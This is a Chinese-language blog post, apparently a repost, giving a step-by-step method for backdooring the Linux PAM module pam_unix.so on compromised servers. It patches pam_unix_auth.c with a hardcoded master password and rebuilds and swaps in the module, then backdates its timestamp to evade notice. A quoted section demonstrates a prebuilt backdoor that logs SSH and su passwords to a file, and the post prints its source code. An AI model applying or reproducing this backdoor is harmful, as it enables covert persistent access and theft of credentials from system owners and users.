Backdoor on Pam module pam_unix.so 记录linux root密码
什么是Linux PAM :http://www.2cto.com/os/201303/198419.html
我google了一下在国外发现了这篇文章,E文确实不好,简单说下
1. 下载Linux PAM
ftp://ftp.kernel.org/pub/linux/libs/pam/library/Linux-PAM-1.1.1.tar.gz
2. 解压 并且修改pam_unix_auth.c
tar -xvzf Linux-PAM-1.1.1.tar.gz
pico Linux-PAM-1.1.1/modules/pam_unix/pam_unix_auth.c (==vim Linux-PAM-1.1.1/modules/pam_unix/pam_unix_auth.c)
3. 查找下列字符
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
4.在后面添加代码
if (strcmp(p,”secpass”)==0 ){retval = PAM_SUCCESS;}
5.组建安装
./configure
make
从新编译我们改过的C文件
6.备份安装好的模块,用我们编译好的替换
cp /lib/security/pam_unix.so /lib/security/pam_unix.so.orig
cp modules/pam_unix/.libs/pam_unix.so /lib/security/pam_unix.so
7.测试一下能不能正常工作,可以创建一个新的SSH连接
8.修改模块的时间
touch -t 200901022110 pam_unix.so
原文:http://www.0daysecurity.com/articles/backdoor_pam_unix.so.html
———————————————————————————————————————————————————
以下引用Beach
1.安装
编译好后,cp过去文件即可
有的发行版本,会自己做自己的发行版so,所以一般来说,我们都先在自己机器上编译好后门传上去
linux一般来说发行版比较多,所以我们在安装后门之前,最好在本地搭建个类似的环境实验,这样不容易丢鸡
我现在要安装后门的机器是fc4 具体内核没啥限制 应用层后门就这点好,呵呵
安装
我已经编译好了
安装完毕,那个so穿上去就行了
这是我们的后门
注意吧pam_unix.so文件的属性改的和别的so属性一样。我这里本来就是一样的,我就不改了。
OK,安装完毕
现在看看他有什么功能
1.记录密码
这个后门可以记录所有登录sshd的用户密码,以及su的密码,默认,没开启记录功能。开启方法如下
我们开启
touch /usr/tmp/.suuser ;chmod a+w /usr/tmp/.suuser
我们密码就记录在这个文件中
OK,我们现在登录下看看
我的root密码就是test
还可以记录su密码 我现在登录root 因为有两个认证过程,所以都记录下来了
他还提供一个登录万能密码的功能 万能密码是pam_test
我们输入pam_test
登录了吧,而且万能密码不会被记录
还是原来两项,呵呵
这个万能密码对于限制root登录的机器非常有用,有的机器禁止root登录,我们使用pam_test这个密码可以登录任何账户
输入pam_test 然后su 输入pam_test
记录都没变,呵呵
以上的演示都是在FC4默认安装下做的,ssh开启了PAM验证 ,默认linux都是开启的
他还可以登录ftp 随便的账户,用万能密码就可以
————————————————————————————————————————————————–
这个包里有3个文件夹 一个Linux-PAM-0.77.tar.gz的原始安装包 一个编译好的pam_unix.so带后门的模块 一个pam_unix.so的C文件
安装很简单 先安装Linux-PAM-0.77.tar.gz 在替换pam_unix.so就OK了
通过对比两个pam_unix.so发现不同之处为
多出两个 宏定义
#define BACKDOOR “merlin”
#define PASSLOG “/tmp/passlog”
看意思大家都知道吧
多出两个if
/* check for backdoor password */
if(strcmp(p, BACKDOOR) == 0)
{
return PAM_SUCCESS;
}
/* log username / password */
if(retval == PAM_SUCCESS)
{
fp = fopen(PASSLOG, “a”);
fprintf(fp, “%s :: %s\n”, name, p);
fclose(fp);
}
name = p = NULL;
第一个if是对后门密码的验证,也就是Beach说的万能密码 pam_test
第二个是记录ssh连接用户名和密码的
所以以后拿下服务器就不用去暴力破解root了,我们可以来温柔的记录连接密码。
以上可能有理解不对的地方,希望指出!
上一篇: 公司软文营销4个法则